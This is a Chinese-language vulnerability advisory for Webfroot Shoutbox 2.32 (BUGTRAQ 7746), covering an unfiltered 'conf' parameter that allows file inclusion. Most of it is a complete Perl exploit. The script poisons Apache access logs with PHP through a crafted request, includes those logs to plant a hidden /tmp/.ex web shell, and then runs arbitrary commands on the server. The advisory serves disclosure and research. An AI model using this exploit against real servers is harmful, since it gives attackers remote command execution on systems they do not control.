发布日期：2003-05-29
更新日期：2003-06-04

受影响系统：

Webfroot Shoutbox 2.32

描述：

---

BUGTRAQ  ID: 7746

Webfroot Shoutbox是一款基于PHP的论坛程序，允许访问者之间消息传送。

Shoutbox对用户提交的'conf' URI参数缺少充分过滤，远程攻击者可以利用这个漏洞以WEB权限在系统上执行任意命令。

shoutbox.php包含如下代码：

-------------------------------------------------------------------
if (!isset($conf)) {
   $conf="shoutboxconf.php";
}

require_once ($conf);
--------------------------------------------------------------------

由于对$conf变量没有预定义，因此可以通过全局注入来进行变量定义，攻击者可以指定远程系统中的PHP文件作为参数提交给$conf变量，可导致以WEB进程权限执行PHP文件中包含的恶意代码。

<*来源：pokleyzz （pokleyzz@scan-associates.net）
  
  链接：http://marc.theaimsgroup.com/?l=bugtraq&m=105427582426010&w=2
*>

测试方法：

---

警 告

以下程序(方法)可能带有攻击性，仅供安全研究与教学之用。使用者风险自负！

pokleyzz （pokleyzz@scan-associates.net）提供了如下测试方法：

#!/usr/bin/perl
#
# Webfroot Shoutbox < 2.32 on apache exploit
# by pokleyzz of d'scan clanz
#
# Greet:
#    tynon, sk ,wanvadder,  flyguy, sutan ,spoonfork, tenukboncit, kerengge_kurus ,
#    s0cket370 , b0iler and d'scan clan.
#
# Shout  to:
#     #vuln , #mybsd , #mylinux
#
# Just for fun :). Weekend stuff ..
#

use IO::Socket;

my $host = "127.0.0.1";
my $port = 80;
my $shoutbox = "shoutbox.php?conf=";
my $shoutboxpath = "/shoutbox";
my $cmd = "ls -l";
my $conn;
my $type;
my @logs = (    
        "/etc/httpd/logs/acces_log",
        "/etc/httpd/logs/acces.log",
        "/var/www/logs/access_log",
        "/var/www/logs/access.log",
        "/usr/local/apache/logs/access_log",
        "/usr/local/apache/logs/access.log",
        "/var/log/apache/access_log",
        "/var/log/apache/access.log",
        "/var/log/httpd/access_log",
        "/var/log/httpd/access.log",
        #"D:/apps/Apache Group/Apache2/logs/access.log"    
    );
    
my $qinit = "GET /<?\$h=fopen('/tmp/.ex','w+');fwrite(\$h,'Result:<pre><?system(\$cmd);?></pre>');fclose(\$h);?> HTTP/1.1\nHost: 127.0.0.1\nConnection: Close\n\n";
my $conn;


if ($ARGV[0] eq "x" || $ARGV[0] eq "r"){
    $type = $ARGV[0];    
}
else {
    print "[x] Webfroot Shoutbox < 2.32 on apache exploit \n\tby pokleyzz of d' scan clan\n\n";
    print "Usage: \n jeritan_batinku.pl (x|r) host [command] [path] [port]\n";
    print "\ttype\tx = exploit | r = run command (after run with x option)\n";
    print "\thost\thostname\n";
    print "\tcommand\tcommand to execute on remote server\n";
    print "\tpath\tpath to shoutbox installation ex: /shoutbox\n";
    print "\tport\tport number\n";
    exit;
}

if ($ARGV[1]){
    $host = $ARGV[1];    
}

if ($ARGV[2]){
    $cmd = $ARGV[2];    
}
if ($ARGV[3]){
    $shoutboxpath = $ARGV[3];    
}
if ($ARGV[4]){
    $port = int($ARGV[4]);    
}

$cmd =~ s/ /+/g;

sub connect_to {
    #print "[x] Connect to $host on port $port ...\n";
    $conn = IO::Socket::INET->new (
                    Proto => "tcp",
                    PeerAddr => "$host",
                    PeerPort => "$port",
                    ) or die "[*] Can't connect to $host on port $port ...\n";
    $conn-> autoflush(1);
}

sub connect_end {
    #print "[x] Close connection\n";
    close($conn);
}

sub exploit {
    my $access_log = $_[0];
    my $result = "";
    $access_log =~ s/ /+/g;
    my $query = "GET ${shoutboxpath}/${shoutbox}${access_log} HTTP/1.1\nHost: $host\nConnection: Close\n\n";
    print "$query";
    print "[x] Access log : ", $access_log ,"\n";
    &connect_to;
    print $conn $query;
    while ($line = <$conn>) {
        $result = $line;
        #print $result;
    };
    &connect_end;
    
}

sub run_cmd {
    my $conf="/tmp/.ex";
    #my $conf="d:/tmp/.ex";
    my $result = "";
    my $query = "GET ${shoutboxpath}/${shoutbox}${conf}&cmd=$cmd HTTP/1.1\nHost: $host\nConnection: Close\n\n";
    
    print "[x] Run command ...\n";
    &connect_to;
    print $conn $query;
    while ($line = <$conn>) {
        $result .= $line;
    };
    &connect_end;
    if ($result =~ /Result:/){
        print $result;
    } else {
        print $result;
        print "[*] Failed ...";
    }        

}

sub insert_code {
    my $result = "";
    print "[x] Access log : ", $access_log ,"\n";
    print "[x] Insert php code into apache access log ...\n";
    &connect_to;
    print $conn "$qinit";
    while ($line = <$conn>) {
        $result .= $line;
    };
    &connect_end;
    print $result;    
}

if ($type eq "x"){
    &insert_code;
    print "[x] Trying to exploit ...\n";
    for ($i = 0;$i <= $#logs; $i++){
        &exploit($logs[$i]);
    }
    &run_cmd;
} else {
    &run_cmd;
}

建议：

---

厂商补丁：

Webfroot
--------
目前厂商还没有提供补丁或者升级程序，我们建议使用此软件的用户随时关注厂商的主页以获取最新版本：

http://shoutbox.sourceforge.net

浏览次数：2953
严重程度：0（网友投票）